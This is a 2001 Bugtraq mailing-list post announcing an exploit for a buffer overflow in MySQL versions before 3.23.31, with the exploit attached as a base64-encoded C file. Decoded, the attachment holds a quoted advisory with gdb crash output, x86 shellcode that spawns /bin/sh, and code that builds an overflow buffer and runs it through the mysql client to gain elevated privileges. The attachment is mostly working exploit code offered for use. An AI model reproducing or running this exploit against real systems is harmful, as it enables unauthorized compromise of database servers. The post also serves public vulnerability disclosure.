[18723] in bugtraq
Re: MySQL < 3.23.31 Overflow [exploit]
daemon@ATHENA.MIT.EDU (Luis Miguel Ferreia Silva)
Mon Jan 22 18:17:29 2001
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="2126586597-1812557141-979942055=:15519"
Message-ID: <Pine.LNX.4.21.0101192205510.15519-200000@www.ispgaya.pt>
Date: Fri, 19 Jan 2001 22:07:35 +0000
Reply-To: Luis Miguel Ferreia Silva <lms@WWW.ISPGAYA.PT>
From: Luis Miguel Ferreia Silva <lms@WWW.ISPGAYA.PT>
To: BUGTRAQ@SECURITYFOCUS.COM
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
--2126586597-1812557141-979942055=:15519
Content-Type: TEXT/PLAIN; charset=US-ASCII
Hello...
Here's a exploit for this...
[See attached...]
Regardz,
Lus Miguel Silva aka wC
Member of lonoss.org and unsecurity.org
http://www.lonoss.org/
http://www.unsecurity.org/
http://www.ispgaya.pt/ Student
Personal WebPage at:
http://paginas.ispgaya.pt/~lms/
&&
http://www.unsecurity.org/wC/
Personal Code at:
www.unsecurity.org/wC/MyCode/
--2126586597-1812557141-979942055=:15519
Content-Type: TEXT/plain; name="MySQLXploit.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.21.0101192207350.15519@www.ispgaya.pt>
Content-Description:
Content-Disposition: attachment; filename="MySQLXploit.c"
LyoNDQoNDQogTGludXggTXlTUUwgRXhwbG9pdCBieSBMdWlzIE1pZ3VlbCBT
aWx2YSBbYWthIHdDXQ0NCiBsbXNAaXNwZ2F5YS5wdA0NCiAxOS8wMS95Mmsr
MQ0NCg0NCiBDb21waWxlOg0NCg0NCiAgIGdjYyBNeVNRTFhwbG9pdC5jIC1v
IE15U1FMWA0NCg0NCiBSdW4gd2l0aDoNDQoNDQogICBZb3UgY2FuIHNwZWNp
ZnkgdGhlIG9mZnNldCBmb3IgdGhlIGV4cGxvaXQgcGFzc2luZyBpdCBhcyB0
aGUgMXN0IGFyZy4uLg0NCg0NCiAgIEV4YW1wbGU6IC4vTXlTUUxYIDAgLS0t
PiB0aGlzIGlzIHRoZSBkZWZhdWx0IG9mZnNldCA6XQ0NCg0NCiBBZHZpc29y
aWU6IA0NCiBbZnJvbSBhIGJ1Z3RyYXEgZW1haWxdDQ0KDQ0KIEhpLA0NCg0N
CiBhbGwgdmVyc2lvbnMgb2YgTXlTUUwgPCAzLjIzLjMxIGhhdmUgYSBidWZm
ZXItb3ZlcmZsb3cgd2hpY2ggY3Jhc2hzIHRoZQ0NCiBzZXJ2ZXIgYW5kIHdo
aWNoIHNlZW1zIHRvIGJlIGV4cGxvaXRhYmxlIChpZS4gNDE0MTQxNCBpbiBl
aXApDQ0KDQ0KIFByb2JsZW0gOg0NCiBBbiBhdHRhY2tlciBjb3VsZCBnYWlu
IG15c3FsZCBwcml2aWxlZ2VzIChnYWluaW5nIGFjY2VzcyB0byBhbGwgdGhl
DQ0KIGRhdGFiYXNlcykNDQoNDQogUmVxdWlyZW1lbnRzIDoNDQogWW91IG5l
ZWQgYSB2YWxpZCBsb2dpbi9wYXNzd29yZCB0byBleHBsb2l0IHRoaXMNDQoN
DQogU29sdXRpb24gOg0NCiBVcGdyYWRlIHRvIDMuMjMuMzENDQoNDQogUHJv
b2Ytb2YtY29uY2VwdCBjb2RlIDoNDQogTm9uZQ0NCg0NCiBDcmVkaXRzIDoN
DQogSSdtIG5vdCB0aGUgZGlzY292ZXJlciBvZiB0aGlzIGJ1Zw0NCiBUaGUg
Zmlyc3QgcHVibGljIHJlcG9ydCB3YXMgbWFkZSBieSB0aGFyYmFkQGthb3Rp
ay5vcmcgdmlhIHRoZSBNeVNRTA0NCiBtYWlsaW5nLWxpc3QNDQogU2VlIHRo
ZSBmb2xsb3dpbmcgbWFpbHMgZm9yIGRldGFpbHMNDQoNDQogUmVnYXJkcywN
DQogTmljb2INDQoNDQogSGVyZSB0aGUgb3JpZ2luYWwgcG9zdCB0byB0aGUg
TXlTUUwgbWFpbGluZy1saXN0IDoNDQogPT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NDQoNDQogT24gSmFuIDEy
LCBKbz9vIEdvdXZlaWEgd3JvdGU6DQ0KID4gSGksDQ0KID4NDQogPiBJIGJl
bGlldmUgaSd2ZSBmb3VuZCBhIHByb2JsZW0gaW4gTXlTcWwuIEhlcmUgYXJl
IHNvbWUgdGVzdCdzIGkndmUgbWFkZSBpbg0NCiA+IDMuMjIuMjcgeDg2KCBh
bHNvIHRlc3RlZCBvbiB2My4yMi4zMiAtIGxhdGVzdCBzdGFibGUsIGFsdGhv
dWdoIGkgZGlkbid0DQ0KID4gZGVidWcgaXQsIGp1c3QgdGVzdGVkIHRvIHNl
ZSBpZiBjcmFzaGVzICkuQ29uZmlybWVkIHVwIHRvIGxhdGVzdCAzLjIzDQ0K
DQ0KID4gT24gb25lIHRlcm1pbmFsOg0NCiA+IDxxdW90ZT4NDQogPiBzcGlr
ZTovdmFyL215c3FsICMgL3NiaW4vaW5pdC5kL215c3FsIHN0YXJ0DQ0KID4g
U3RhcnRpbmcgc2VydmljZSBNeVNRTC4NDQogPiBTdGFydGluZyBteXNxbGQg
ZGFlbW9uIHdpdGggZGF0YWJhc2VzIGZyb20gL3Zhci9teXNxbA0NCiA+IGRv
bmUNDQogPiBzcGlrZTovdmFyL215c3FsICMNDQogPjwvcXVvdGU+DQ0KID4N
DQogPiBPbiB0aGUgb3RoZXIgdGVybWluYWw6DQ0KID4gPHF1b3RlPg0NCiA+
IGpyb2JlcnRvQHNwaWtlOn4gPiBteXNxbCAtcCAtZSAnc2VsZWN0IGEuJ2Bw
ZXJsIC1lJ3ByaW50ZigiQSJ4MTMwKSdgJy5iJw0NCiA+IEVudGVyIHBhc3N3
b3JkOg0NCiA+IChoYW5nZWQuLl5DKQ0NCiA+IDwvcXVvdGU+DQ0KID4NDQog
PiBPbiB0aGUgZmlyc3QgdGVybWluYWwgaSBnb3Q6DQ0KID4gPHF1b3RlPg0N
CiA+IHNwaWtlOi92YXIvbXlzcWwgIyAvdXNyL2Jpbi9zYWZlX215c3FsZDog
bGluZSAxNDk6IDE1NTU3IFNlZ21lbnRhdGlvbiBmYXVsdA0NCiA+IG5vaHVw
DQ0KID4gJGxlZGlyL215c3FsZCAtLWJhc2VkaXI9JE1ZX0JBU0VESVJfVkVS
U0lPTiAtLWRhdGFkaXI9JERBVEFESVIgLS1za2lwLWxvY2tpbg0NCiA+IGcg
IiRAIiA+PiRlcnJfbG9nIDI+JjE+DQ0KID4gTnVtYmVyIG9mIHByb2Nlc3Nl
cyBydW5uaW5nIG5vdzogMA0NCiA+IG15c3FsZCByZXN0YXJ0ZWQgb24gIEZy
aSBKYW4gMTIgMDc6MTA6NTQgV0VUIDIwMDENDQogPiBteXNxbGQgZGFlbW9u
IGVuZGVkDQ0KID4gPC9xdW90ZT4NDQogPg0NCiA+IGdkYiBzaG93cyB0aGUg
Zm9sbG93aW5nOg0NCiA+IDxxdW90ZT4NDQogPiAoZ2RiKSBydW4NDQogPiBT
dGFydGluZyBwcm9ncmFtOiAvdXNyL3NiaW4vbXlzcWxkDQ0KID4gW05ldyBU
aHJlYWQgMTY4OTcgKG1hbmFnZXIgdGhyZWFkKV0NDQogPiBbTmV3IFRocmVh
ZCAxNjg5MSAoaW5pdGlhbCB0aHJlYWQpXQ0NCiA+IFtOZXcgVGhyZWFkIDE2
ODk4XQ0NCiA+IC91c3Ivc2Jpbi9teXNxbGQ6IHJlYWR5IGZvciBjb25uZWN0
aW9ucw0NCiA+IFtOZXcgVGhyZWFkIDE2OTE2XQ0NCiA+IFtTd2l0Y2hpbmcg
dG8gVGhyZWFkIDE2OTE2XQ0NCiA+DQ0KID4gUHJvZ3JhbSByZWNlaXZlZCBz
aWduYWwgU0lHU0VHViwgU2VnbWVudGF0aW9uIGZhdWx0Lg0NCiA+IDB4NDE0
MTQxNDEgaW4gPz8gKCkNDQogPiAoZ2RiKSBpbmZvIGFsbC1yZWdpc3RlcnMN
DQogPiBlYXggICAgICAgICAgICAweDEgICAgICAxDQ0KID4gZWN4ICAgICAg
ICAgICAgMHg2OCAgICAgMTA0DQ0KID4gZWR4ICAgICAgICAgICAgMHg4MTY2
OTQ3ICAgICAgICAxMzU2ODY0NzENDQogPiBlYnggICAgICAgICAgICAweDQx
NDE0MTQxICAgICAgIDEwOTQ3OTU1ODUNDQogPiBlc3AgICAgICAgICAgICAw
eGJmNWZmNDA4ICAgICAgIDB4YmY1ZmY0MDgNDQogPiBlYnAgICAgICAgICAg
ICAweDQxNDE0MTQxICAgICAgIDB4NDE0MTQxNDENDQogPiBlc2kgICAgICAg
ICAgICAweDQxNDE0MTQxICAgICAgIDEwOTQ3OTU1ODUNDQogPiBlZGkgICAg
ICAgICAgICAweDAgICAgICAwDQ0KID4gZWlwICAgICAgICAgICAgMHg0MTQx
NDE0MSAgICAgICAweDQxNDE0MTQxDQ0KID4gZWZsYWdzICAgICAgICAgMHgx
MDI0NiAgNjYxMTgNDQogPiBjcyAgICAgICAgICAgICAweDIzICAgICAzNQ0N
CiA+IHNzICAgICAgICAgICAgIDB4MmIgICAgIDQzDQ0KID4gZHMgICAgICAg
ICAgICAgMHgyYiAgICAgNDMNDQogPiBlcyAgICAgICAgICAgICAweDJiICAg
ICA0Mw0NCiA+IGZzICAgICAgICAgICAgIDB4MCAgICAgIDANDQogPiBncyAg
ICAgICAgICAgICAweDAgICAgICAwDQ0KID4gKGdkYikNDQogPiA8L3F1b3Rl
Pg0NCiA+DQ0KID4gbG9va3MgbGlrZSBhIHRpcGljYWwgb3ZlcmZsb3cgdG8g
bWUuDQ0KID4gUGxlYXNlIHJlcGx5IGFzYXAsIGF0IGxlYXN0IHRvIHRlbGwg
bWUgaSdtZSBub3Qgc2VlaW5nIHRoaW5ncy4gOi0pPg0NCiA+IEJlc3QgcmVn
YXJkcywNDQogPg0NCiA+IEpvYW8gR291dmVpYSBha2EgVGhhcmJhZC4NDQog
Pg0NCiA+IHRoYXJiYWRAa2FvdGlrLm9yZw0NCg0NCiBIZXJlIHRoZSByZXBv
bnNlIHRvIGEgZW1haWwgSSBzZW5kIHRvZGF5IHRvIHRoZSBNeVNRTCBsaXN0
IDoNDQogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09DQ0KDQ0KIFNlcmdlaSBHb2x1YmNoaWsg
KE15U1FMIHRlYW0pIHdyb3RlIDoNDQogPg0NCiA+IEhpIQ0NCiA+DQ0KID4g
T24gSmFuIDE4LCBOaWNvbGFzIEdSRUdPSVJFIHdyb3RlOg0NCiA+ID4gSGks
DQ0KID4gPg0NCiA+ID4gU3RpbGwgbm90IGFueSBpbmZvIGFib3V0IHRoZSBi
dWZmZXItb3ZlcmZsb3cgZGlzY292ZXJlZCBsYXN0IHdlZWsgPw0NCiA+ID4g
U2hvdWxkbid0IGJlIGZpeGVkIGF0IHRoZSBiZWdpbm5pbmcgb2YgdGhlIHdl
ZWsgPw0NCiA+ID4NDQogPiA+IFBsZWFzZSwgZGVhciBNeVNRTCB0ZWFtLCBn
aXZlIHVzIGluZm8gISENDQogPiA+DQ0KID4gPiBSZWdhcmRzLA0NCiA+ID4g
Tmljb2INDQogPg0NCiA+IEZpeGVkIGluIGxhdGVzdCByZWxlYXNlICgzLjIz
LjMxKS4NDQogPg0NCiA+IFJlZ2FyZHMsDQ0KID4gU2VyZ2VpDQ0KDQ0KIEhl
cmUgYW4gcGFydCBvZiB0aGUgMy4yMy4zMCB0byAzLjIzLjMxIGRpZmYgOg0N
CiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT0NDQoNDQogK0NoYW5nZXMgaW4gcmVsZWFzZSAzLjIzLjMxDQ0KICstLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0NCiArDQ0KICsgICAqIEZpeGVkIHNl
Y3VyaXR5IGJ1ZyBpbiBzb21ldGhpbmcgKHBsZWFzZSB1cGdyYWRlIGlmIHlv
dSBhcmUgdXNpbmcgYQ0NCiArICAgICBlYXJsaWVyIE15U1FMIDMuMjMgdmVy
c2lvbikuDQ0KDQ0KIEVuZCBvZiBBZHZpc29yaWUNDQoNDQogRmluYWwgV29y
ZHM6IFllcy4uaSdtIHN0aWxsIGFsaXZlLi4uPGc+IFtqdXN0IGEnc2xlZXAu
Ll0NDQoNDQogQSBiaWcga2lzcyB0byBuaW5lc3MgYW5kIGh1Z3MgdG8gYWxs
IG15IGZyaWVuZHMuLi4NDQogbHVjaXBoZXIgJiYgYWxsIG9mIHRoZSB1bnNl
Y3VyaXR5Lm9yZyBjcmV3Li4uDQ0KIEpGQSBhbmQgYWxsIG9mIHRoZSBBbmdl
bFNQIFtwc2V1ZG8gOlBdJ2NyZXcuLi4NDQogQWhtbS4uLmkganVzdCB3YXZl
IGV2ZXJ5Ym9keSA6XQ0NCg0NCiovDQ0KDQ0KI2luY2x1ZGUgPHN0ZGlvLmg+
DQ0KDQ0KI2RlZmluZSBERUZBVUxUX09GRlNFVCAwDQ0KI2RlZmluZSBERUZB
VUxUX0JVRkZFUl9TSVpFIDEzMA0NCiNkZWZpbmUgUkVUX0FERFIgMHg0MTQx
NDE0MQ0NCiNkZWZpbmUgTk9QIDB4OTANDQoNDQovLyBPdXIgRVZJTCBjb2Rl
Li4uDQ0KY2hhciBzaGVsbGNvZGVbXSA9DQ0KICAiXHhlYlx4MWZceDVlXHg4
OVx4NzZceDA4XHgzMVx4YzBceDg4XHg0Nlx4MDdceDg5XHg0Nlx4MGNceGIw
XHgwYiINDQogICJceDg5XHhmM1x4OGRceDRlXHgwOFx4OGRceDU2XHgwY1x4
Y2RceDgwXHgzMVx4ZGJceDg5XHhkOFx4NDBceGNkIg0NCiAgIlx4ODBceGU4
XHhkY1x4ZmZceGZmXHhmZi9iaW4vc2giOw0NCg0NCi8vIFdoZXJlIGl0IGFs
bCBoYXBwZW5zLi4uDQ0KbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKQ0N
CnsNDQogY2hhciAqYnVmZmVyLCAqcHRyLCB0bXBbMTUwMF07DQ0KIGxvbmcg
KmFkZHJfcHRyLCBhZGRyOw0NCiBpbnQgaSxic2l6ZT1ERUZBVUxUX0JVRkZF
Ul9TSVpFLG9mZnNldD1ERUZBVUxUX09GRlNFVDsNDQoNDQogcHJpbnRmKCJc
bk15U1FMIFthbGwgdmVyc2lvbnMgPCAzLjIzLjMxXSBMb2NhbCBFeHBsb2l0
IGJ5IGxtc0Bpc3BnYXlhLnB0XG5cbiIpOw0NCiBpZiAoYXJnYz09Mikgb2Zm
c2V0PWF0b2koYXJndlsxXSk7DQ0KIGVsc2UgDQ0KICAgcHJpbnRmKCJIYXBw
eSB0b3VnaHRzOiBEaWQgeW91IGtub3cgeW91IGNhbiBwYXNzIGEgb2Zmc2V0
IGFzIGFyZ3ZbMV0/IDpdXG4iKTsNDQoNDQogcHJpbnRmKCJUcnlpbmcgdG8g
YWxsb2NhdGUgbWVtb3J5IGZvciBidWZmZXIgKCVkIGJ5dGVzKS4uLiIsYnNp
emUpOw0NCiBpZiAoIShidWZmZXIgPSBtYWxsb2MoYnNpemUpKSkgew0NCiAg
IHByaW50ZigiRVJST1IhXG4iKTsNDQogICBwcmludGYoIkNvdWxkbid0IGFs
bG9jYXRlIG1lbW9yeS4uLlxuIik7DQ0KICAgcHJpbnRmKCJFeGl0aW5nLi4u
XG4iKTsNDQogICBleGl0KDApOw0NCiB9DQ0KIHByaW50ZigiU1VDQ0VTUyFc
biIpOw0NCiBhZGRyPVJFVF9BRERSLW9mZnNldDsNDQogcHJpbnRmKCJVc2lu
ZyBhZGRyZXNzIDogMHgleFxuIiwgYWRkcik7DQ0KIHByaW50ZigiT2Zmc2V0
ICAgICAgICA6ICVkXG4iLG9mZnNldCk7DQ0KIHByaW50ZigiQnVmZmVyIFNp
emUgICA6ICVkXG4iLGJzaXplKTsNDQogcHRyPWJ1ZmZlcjsNDQogYWRkcl9w
dHI9KGxvbmcgKikgcHRyOw0NCiBmb3IgKGk9MDtpPGJzaXplO2krPTQpICoo
YWRkcl9wdHIrKyk9YWRkcjsNDQogZm9yIChpPTA7aTxic2l6ZS8yO2krKykg
YnVmZmVyW2ldPU5PUDsNDQogcHRyPWJ1ZmZlcisoKGJzaXplLzIpLShzdHJs
ZW4oc2hlbGxjb2RlKS8yKSk7DQ0KIGZvciAoaT0wO2k8c3RybGVuKHNoZWxs
Y29kZSk7aSsrKSAqKHB0cisrKT1zaGVsbGNvZGVbaV07DQ0KIGJ1ZmZlclti
c2l6ZS0xXT0nXDAnOw0NCiBzbnByaW50Zih0bXAsc2l6ZW9mKHRtcCksIm15
c3FsIC1wIC1lICdzZWxlY3QgYS4nJXMnLmInIixidWZmZXIpOw0NCiBwcmlu
dGYoIk9oIGsuLi5pIGhhdmUgdGhlIGV2aWwnYnVmZmVyIHJpZ2h0IGhlcmUg
OlBcbiIpOw0NCiBwcmludGYoIlNvLi4uW2lmIGFsbCB3ZW50IHdlbGxdLCBw
cmVwYXJlIHRvIGJlIHIwMHQuLi5cbiIpOw0NCiBzeXN0ZW0odG1wKTsNDQp9
DQ0K
--2126586597-1812557141-979942055=:15519--
